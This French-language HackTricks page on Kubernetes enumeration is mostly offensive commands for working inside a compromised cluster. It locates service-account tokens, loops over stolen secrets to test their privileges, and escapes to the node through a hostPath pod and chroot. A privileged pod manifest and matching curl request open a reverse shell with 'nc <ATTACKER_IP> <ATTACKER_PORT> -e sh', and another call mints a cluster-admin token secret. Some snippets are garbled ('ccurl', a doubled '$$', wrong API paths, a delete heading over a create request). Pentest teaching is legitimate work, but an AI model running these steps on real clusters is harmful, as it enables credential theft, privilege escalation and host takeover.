Kubernetes Enumeration
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Kubernetes Tokens
Si vous avez compromis lâaccĂšs Ă une machine, lâutilisateur peut avoir accĂšs Ă une plateforme Kubernetes. Le token se trouve gĂ©nĂ©ralement dans un fichier pointĂ© par la var env KUBECONFIG ou dans ~/.kube.
Dans ce dossier, vous pourriez trouver des fichiers de configuration avec des tokens et des configurations pour se connecter au serveur API. Dans ce dossier, vous pouvez également trouver un dossier de cache avec des informations récupérées précédemment.
Si vous avez compromis un pod dans un environnement Kubernetes, il existe dâautres endroits oĂč vous pouvez trouver des tokens et des informations sur lâenvironnement K8 actuel :
Service Account Tokens
Avant de continuer, si vous ne savez pas ce quâest un service dans Kubernetes, je vous suggĂ©rerais de suivre ce lien et de lire au moins les informations sur lâarchitecture de Kubernetes.
Extrait de la documentation Kubernetes :
âLorsque vous crĂ©ez un pod, si vous ne spĂ©cifiez pas de compte de service, il se voit automatiquement attribuer le compte de service par dĂ©faut dans le mĂȘme namespace.â
ServiceAccount est un objet gĂ©rĂ© par Kubernetes et utilisĂ© pour fournir une identitĂ© aux processus qui sâexĂ©cutent dans un pod.
Chaque compte de service a un secret qui lui est associĂ© et ce secret contient un token porteur. Câest un JSON Web Token (JWT), une mĂ©thode pour reprĂ©senter des revendications de maniĂšre sĂ©curisĂ©e entre deux parties.
Généralement, un des répertoires :
/run/secrets/kubernetes.io/serviceaccount/var/run/secrets/kubernetes.io/serviceaccount/secrets/kubernetes.io/serviceaccount
contient les fichiers :
- ca.crt : Câest le certificat CA pour vĂ©rifier les communications Kubernetes
- namespace : Il indique le namespace actuel
- token : Il contient le token de service du pod actuel.
Maintenant que vous avez le token, vous pouvez trouver le serveur API dans la variable dâenvironnement KUBECONFIG. Pour plus dâinfos, exĂ©cutez (env | set) | grep -i "kuber|kube"
Le token de compte de service est signé par la clé résidant dans le fichier sa.key et validé par sa.pub.
Emplacement par défaut sur Kubernetes :
- /etc/kubernetes/pki
Emplacement par défaut sur Minikube :
- /var/lib/localkube/certs
Hot Pods
Les hot pods sont des pods contenant un token de compte de service privilĂ©giĂ©. Un token de compte de service privilĂ©giĂ© est un token qui a la permission dâeffectuer des tĂąches privilĂ©giĂ©es telles que lister des secrets, crĂ©er des pods, etc.
RBAC
Si vous ne savez pas ce quâest RBAC, lisez cette section.
GUI Applications
- k9s : Une interface graphique qui Ă©numĂšre un cluster Kubernetes depuis le terminal. VĂ©rifiez les commandes dans https://k9scli.io/topics/commands/. Ăcrivez
:namespaceet sĂ©lectionnez tout pour ensuite rechercher des ressources dans tous les namespaces. - k8slens : Il offre quelques jours dâessai gratuit : https://k8slens.dev/
Enumeration CheatSheet
Pour énumérer un environnement K8s, vous avez besoin de quelques éléments :
- Un token dâauthentification valide. Dans la section prĂ©cĂ©dente, nous avons vu oĂč chercher un token utilisateur et un token de compte de service.
- Lâadresse (https://host:port) de lâAPI Kubernetes. Cela peut gĂ©nĂ©ralement ĂȘtre trouvĂ© dans les variables dâenvironnement et/ou dans le fichier de configuration kube.
- Optionnel : Le ca.crt pour vĂ©rifier le serveur API. Cela peut ĂȘtre trouvĂ© aux mĂȘmes endroits que le token. Cela est utile pour vĂ©rifier le certificat du serveur API, mais en utilisant
--insecure-skip-tls-verifyaveckubectlou-kaveccurl, vous nâen aurez pas besoin.
Avec ces dĂ©tails, vous pouvez Ă©numĂ©rer Kubernetes. Si lâAPI est accessible pour une raison quelconque via lâInternet, vous pouvez simplement tĂ©lĂ©charger ces informations et Ă©numĂ©rer la plateforme depuis votre hĂŽte.
Cependant, gĂ©nĂ©ralement, le serveur API est Ă lâintĂ©rieur dâun rĂ©seau interne, donc vous devrez crĂ©er un tunnel Ă travers la machine compromise pour y accĂ©der depuis votre machine, ou vous pouvez tĂ©lĂ©charger le kubectl binaire, ou utiliser curl/wget/anything pour effectuer des requĂȘtes HTTP brutes au serveur API.
Differences between list and get verbs
Avec les permissions get, vous pouvez accĂ©der aux informations dâactifs spĂ©cifiques (option describe dans kubectl) API :
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
Si vous avez la permission list, vous ĂȘtes autorisĂ© Ă exĂ©cuter des requĂȘtes API pour lister un type dâactif (get option dans kubectl) :
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
Si vous avez la permission watch, vous ĂȘtes autorisĂ© Ă exĂ©cuter des requĂȘtes API pour surveiller les actifs :
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
Ils ouvrent une connexion de streaming qui vous renvoie le manifeste complet dâun Deployment chaque fois quâil change (ou lorsquâun nouveau est créé).
Caution
Les commandes
kubectlsuivantes indiquent simplement comment lister les objets. Si vous souhaitez accéder aux données, vous devez utiliserdescribeau lieu deget.
Utilisation de curl
Depuis lâintĂ©rieur dâun pod, vous pouvez utiliser plusieurs variables dâenvironnement :
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
Warning
Par défaut, le pod peut accéder au serveur kube-api dans le nom de domaine
kubernetes.default.svcet vous pouvez voir le rĂ©seau kube dans/etc/resolv.configcar ici vous trouverez lâadresse du serveur DNS kubernetes (le â.1â du mĂȘme rĂ©seau est le point de terminaison kube-api).
Utilisation de kubectl
Ayant le token et lâadresse du serveur API, vous utilisez kubectl ou curl pour y accĂ©der comme indiquĂ© ici :
Par dĂ©faut, lâAPISERVER communique avec le schĂ©ma https://
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
si pas de
https://dans lâURL, vous pouvez obtenir une erreur comme Bad Request.
Vous pouvez trouver un cheat sheet kubectl officiel ici. Lâobjectif des sections suivantes est de prĂ©senter de maniĂšre ordonnĂ©e diffĂ©rentes options pour Ă©numĂ©rer et comprendre le nouveau K8s auquel vous avez obtenu accĂšs.
Pour trouver la requĂȘte HTTP que kubectl envoie, vous pouvez utiliser le paramĂštre -v=8
MitM kubectl - Proxyfying kubectl
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
Configuration Actuelle
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace=<namespace>
Si vous avez réussi à voler les identifiants de certains utilisateurs, vous pouvez les configurer localement en utilisant quelque chose comme :
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
Obtenir les ressources prises en charge
Avec ces informations, vous saurez tous les services que vous pouvez lister
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
Obtenir les privilĂšges actuels
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
Une autre façon de vĂ©rifier vos privilĂšges est dâutiliser lâoutil : https://github.com/corneliusweig/rakkess****
Vous pouvez en apprendre davantage sur Kubernetes RBAC dans :
Kubernetes Role-Based Access Control(RBAC)
Une fois que vous savez quels privilÚges vous avez, consultez la page suivante pour déterminer si vous pouvez en abuser pour élever vos privilÚges :
Abusing Roles/ClusterRoles in Kubernetes
Obtenir dâautres rĂŽles
k get roles
k get clusterroles
Obtenir des espaces de noms
Kubernetes prend en charge plusieurs clusters virtuels soutenus par le mĂȘme cluster physique. Ces clusters virtuels sont appelĂ©s espaces de noms.
k get namespaces
Obtenir des secrets
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
Si vous pouvez lire les secrets, vous pouvez utiliser les lignes suivantes pour obtenir les privilÚges associés à chaque jeton :
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
Obtenir des comptes de service
Comme discutĂ© au dĂ©but de cette page lorsquâun pod est exĂ©cutĂ©, un compte de service lui est gĂ©nĂ©ralement attribuĂ©. Par consĂ©quent, lister les comptes de service, leurs permissions et oĂč ils sâexĂ©cutent peut permettre Ă un utilisateur dâescalader ses privilĂšges.
k get serviceaccounts
Obtenir les déploiements
Les dĂ©ploiements spĂ©cifient les composants qui doivent ĂȘtre exĂ©cutĂ©s.
k get deployments
k get deployments -n custnamespace
Obtenir des Pods
Les Pods sont les conteneurs qui vont sâexĂ©cuter.
k get pods
k get pods -n custnamespace
Obtenir des services
Kubernetes services sont utilisĂ©s pour exposer un service sur un port et une IP spĂ©cifiques (qui agira comme un Ă©quilibreur de charge pour les pods qui offrent rĂ©ellement le service). Il est intĂ©ressant de savoir oĂč vous pouvez trouver dâautres services Ă essayer dâattaquer.
k get services
k get services -n custnamespace
Obtenir les nĆuds
Obtenez tous les nĆuds configurĂ©s Ă lâintĂ©rieur du cluster.
k get nodes
Obtenir les DaemonSets
DaeamonSets permet de sâassurer quâun pod spĂ©cifique sâexĂ©cute sur tous les nĆuds du cluster (ou sur ceux sĂ©lectionnĂ©s). Si vous supprimez le DaemonSet, les pods gĂ©rĂ©s par celui-ci seront Ă©galement supprimĂ©s.
k get daemonsets
Obtenir cronjob
Les cron jobs permettent de planifier, en utilisant une syntaxe similaire Ă crontab, le lancement dâun pod qui effectuera une action.
k get cronjobs
Obtenir configMap
configMap contient toujours beaucoup dâinformations et de fichiers de configuration qui sont fournis aux applications qui sâexĂ©cutent dans le kubernetes. En gĂ©nĂ©ral, vous pouvez trouver beaucoup de mots de passe, de secrets, de jetons utilisĂ©s pour se connecter et valider dâautres services internes/externes.
k get configmaps # -n namespace
Obtenir des politiques réseau / Politiques réseau Cilium
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
Obtenir Tout / Tout
k get all
Obtenez toutes les ressources gérées par helm
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
Obtenir les consommations des Pods
k top pod --all-namespaces
Interagir avec le cluster sans utiliser kubectl
Ătant donnĂ© que le plan de contrĂŽle Kubernetes expose une API REST-ful, vous pouvez crĂ©er des requĂȘtes HTTP manuellement et les envoyer avec dâautres outils, tels que curl ou wget.
Ăvasion du pod
Si vous ĂȘtes capable de crĂ©er de nouveaux pods, vous pourriez ĂȘtre en mesure de vous Ă©chapper dâeux vers le nĆud. Pour ce faire, vous devez crĂ©er un nouveau pod en utilisant un fichier yaml, passer au pod créé, puis chroot dans le systĂšme du nĆud. Vous pouvez utiliser des pods dĂ©jĂ existants comme rĂ©fĂ©rence pour le fichier yaml, car ils affichent des images et des chemins existants.
kubectl get pod <name> [-n <namespace>] -o yaml
si vous devez crĂ©er un pod sur un nĆud spĂ©cifique, vous pouvez utiliser la commande suivante pour obtenir les Ă©tiquettes sur le nĆud
k get nodes --show-labelsEn général, kubernetes.io/hostname et node-role.kubernetes.io/master sont de bonnes étiquettes à sélectionner.
Ensuite, vous créez votre fichier attack.yaml
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
AprÚs cela, vous créez le pod
kubectl apply -f attacker.yaml [-n <namespace>]
Maintenant, vous pouvez passer au pod créé comme suit
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
Et enfin, vous chrootez dans le systĂšme du nĆud.
chroot /root /bin/bash
Information obtenue de : Kubernetes Namespace Breakout using Insecure Host Path Volume â Part 1 Attacking and Defending Kubernetes: Bust-A-Kube â Episode 1
CrĂ©ation dâun pod privilĂ©giĂ©
Le fichier yaml correspondant est le suivant :
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
Créer le pod avec curl :
CONTROL_PLANE_HOST=""
TOKEN=""
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Supprimer un pod
Supprimer un pod avec curl :
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
Créer un compte de service
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Supprimer un compte de service
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
Créer un rÎle
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Supprimer un rĂŽle
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
Créer un lien de rÎle
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Supprimer un lien de rĂŽle
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
Supprimer un Secret
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
Supprimer un Secret
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""
ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
Références
Kubernetes Pentest Methodology Part 3
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

